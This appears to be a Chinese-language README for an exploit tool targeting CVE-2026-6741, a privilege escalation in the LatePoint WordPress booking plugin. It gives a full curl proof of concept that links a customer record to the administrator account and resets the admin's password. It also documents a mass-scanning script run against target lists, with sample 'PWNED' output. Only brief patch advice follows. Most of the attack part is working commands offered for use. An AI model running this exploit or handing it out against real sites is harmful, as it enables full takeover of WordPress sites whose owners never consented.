CVE-2026-6741 是一个 CVSS 8.8(高危)的认证(Agent+)权限提升漏洞,存在于 LatePoint – 日历预订插件中
插件: LatePoint – 用于预约和活动的日历预订插件 (
latepoint) CVE ID: CVE-2026-6741 CVSS 评分: 8.8(高危) CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H漏洞类型: 已认证(Agent+)权限提升 → 管理员接管 受影响版本: <= 5.4.1 修补版本: 5.4.2 发布日期: 2026年4月27日 研究人员: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence
具有 latepoint_agent 角色的已认证攻击者可以将任意 LatePoint 客户记录关联到 WordPress 管理员账户,然后利用 LatePoint 自身的密码重置流程修改管理员的密码。
这将导致完全接管站点。
| 字段 | 值 |
|---|---|
| 插件名称 | LatePoint – 日历预订插件 |
| 插件 Slug | latepoint |
| CVE ID | CVE-2026-6741 |
| CVSS 评分 | 8.8(高危) |
| 漏洞类型 | 已认证(Agent+)权限提升 |
| 受影响版本 | <= 5.4.1 |
| 修补版本 | 5.4.2 |
| 前提条件 | latepoint_agent 角色,WordPress 6.9+ |
LatePoint 5.3.0 增加了对 WordPress 6.9+ 引入的 Abilities API 的支持。该 API 允许插件注册可通过 REST API 调用的“ability”类:
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← 唯一检查:此 capability
}
Agent 角色默认拥有 customer__edit 权限:
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← agent 拥有此权限
...
];
}
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// 仅检查用户是否存在
// 缺失:未检查目标用户的角色
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← 关联任意 WordPress 用户
$customer->save();
return $this->serialize_customer( ... );
}
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ wordpress_user_id 现在是管理员 ID → 管理员密码被更改
}
}
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// 仅检查调用者的权限
// 不检查目标用户的角色
}
latepoint_agent 账户
│
▼
1. 以 Agent 身份登录 WordPress → 获取 REST nonce
│
▼
2. 确定目标管理员 WordPress 用户 ID
(wp-json/wp/v2/users 或 ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ 无角色检查 → 成功
│
▼
4. LatePoint forgot_password → 向客户邮箱发送重置令牌
│
▼
5. 使用令牌调用 change_password → 触发 update_password()
→ wp_set_password("Hacked!", 1)
→ 管理员密码被更改
│
▼
6. 使用新密码以管理员身份登录 → 完全控制站点 ✓
⚠️ 免责声明: 本 PoC 仅供教育和防御性安全研究使用。
前提条件:
latepoint_agent 角色的账户WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# 基于 Cookie 的会话登录
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# 获取 REST nonce
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
# 通过 REST API 列出管理员用户
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # 通常为 ID=1
CUSTOMER_ID=5 # 你控制的 LatePoint 客户 ID
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
预期响应:
{
"id": 5,
"wp_user_id": 1,
"email": "[email protected]"
}
CUSTOMER_EMAIL="[email protected]"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint 会向 $CUSTOMER_EMAIL 发送一封包含 account_nonce 令牌的重置邮件。
RESET_TOKEN="<从邮件获取的令牌>"
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
此调用会触发 update_password() → wp_set_password($NEW_PASSWORD, 1) 链。管理员密码已被更改。
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# 访问 wp-admin
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# 预期:200 OK(非重定向到 wp-login.php)
# 通过 REST API 验证角色
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
curl -s "$WP_URL/wp-json/wp/v2/users/me" \
-H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# 预期: "roles": ["administrator"]
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt
requirements.txt
requests
python latepoint_privesc.py -u http://目标.com \
--agent-user agent1 --agent-pass Pass123!
python latepoint_privesc.py -u http://目标.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected]
python latepoint_privesc.py -u http://目标.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected] \
--reset-token abc123xyz \
--new-password Hacked_2026!
python latepoint_privesc.py -l targets.txt -t 10 \
--agent-user agent1 --agent-pass Pass123! \
-o 结果.txt
python latepoint_privesc.py -u http://目标.com \
--agent-user agent1 --agent-pass Pass123! \
--proxy http://127.0.0.1:8080
| 参数 | 说明 |
|---|---|
--agent-user | Agent 用户名 (必需) |
--agent-pass | Agent 密码 (必需) |
| 参数 | 说明 | 默认值 |
|---|---|---|
--admin-id | 目标管理员 WordPress 用户 ID | 自动检测 |
| 参数 | 说明 | 默认值 |
|---|---|---|
--reset-token | 从邮件获取的重置令牌 | — |
--new-password | 新管理员密码 | Pwned_CVE2026_6741! |
[*] 目标 : http://目标.com
[*] Agent : agent1
[*] 管理员 ID : 自动检测
[*] 客户 ID : 自动检测
[*] 重置令牌 : 等待电子邮件
[*] 新密码 : Pwned_CVE2026_6741!
[→] http://目标.com 步骤 1/6: Agent 登录...
[→] http://目标.com 步骤 2/6: 确定管理员用户 ID...
[→] http://目标.com 步骤 3/6: 确定客户 ID...
[→] http://目标.com 步骤 4/6: 客户 #5 → 管理员 #1 关联中...
[→] http://目标.com 步骤 5/6: 发起密码重置...
[→] http://目标.com 步骤 6/6: 修改密码(手动令牌)...
════════════════════════════════════════════════════════════
[★ PWNED ] http://目标.com
版本 : 5.4.1
管理员 ID : 1
客户 : #5 <[email protected]>
用户 : admin roles=['administrator']
════════════════════════════════════════════════════════════
[+] 已保存 → privesc_results.txt
┌─────────────────────────────────────────────────────────┐
│ 阶段 1 — 关联并发送重置邮件 │
│ │
│ python latepoint_privesc.py -u http://目标.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] │
│ │
│ → 输出:"重置邮件已发送 — 等待令牌" │
└─────────────────────────┬───────────────────────────────┘
│
从邮件获取令牌
│
┌─────────────────────────▼───────────────────────────────┐
│ 阶段 2 — 使用令牌修改密码 │
│ │
│ python latepoint_privesc.py -u http://目标.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] \ │
│ --reset-token abc123xyz \ │
│ --new-password Hacked_2026! │
│ │
│ → 输出:★ PWNED — roles=['administrator'] │
└─────────────────────────────────────────────────────────┘
安全的 execute() 示例:
// 不安全(当前 — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// 安全(推荐 — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// 检查目标用户的角色
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}
cve-2026-6741-scanner/
├── latepoint_privesc.py # 主扫描器
├── requirements.txt # 依赖项
└── README.md # 本文件
本工具和 PoC 仅用于授权系统上的教育目的和渗透测试。未经授权在系统上使用将违反土耳其刑法第 243-245 条以及国际网络犯罪法律,构成犯罪。开发者对因滥用本工具而产生的任何法律责任概不负责。
MIT 许可证 — 仅用于教育和研究目的。
| 参数 | 简写 | 说明 | 默认值 |
|---|
--url | -u | 单个目标 URL | — |
--list | -l | 目标列表文件 | — |
--threads | -t | 线程数 | 5 |
--output | -o | 输出文件 | privesc_results.txt |
--proxy | — | 代理 URL | — |
--timeout | — | 请求超时(秒) | 10 |
--force | — | 即使 Abilities API 检测失败也继续 | False |
--customer-id| 受控制的 LatePoint 客户 ID |
| 自动检测 |
--customer-email | LatePoint 客户电子邮件地址 | Agent 的电子邮件 |
| 状态 | 说明 |
|---|
★ PWNED | 管理员密码已更改,已登录 |
~ RESET_SENT | 重置邮件已发送 — 等待令牌 |
~ PWD_CHANGE | 密码已更改 — 手动验证管理员登录 |
- LINK_FAIL | 客户-管理员关联失败 |
- LOGIN_FAIL | Agent 登录失败 |
- NO_PLUGIN | LatePoint 未安装 |
- NO_ABILITY | Abilities API 已关闭(需要 WP 6.9+) |
~ NO_CUST | 未找到客户 ID — 手动指定 |
~ UNREACH | 目标无法访问 |
| 措施 | 实施方式 |
|---|
| 插件更新 | 升级至 LatePoint 5.4.2+ |
| 添加角色检查 | 在 execute() 中验证目标用户角色 |
| 限制 Abilities API | 从 Agent 角色中移除 connect-customer-to-wp-user 权限 |
| 密码重置保护 | 对管理员账户禁用 LatePoint 重置流程 |
| WP 6.9 Abilities 审计 | 定期审查已注册的 ability |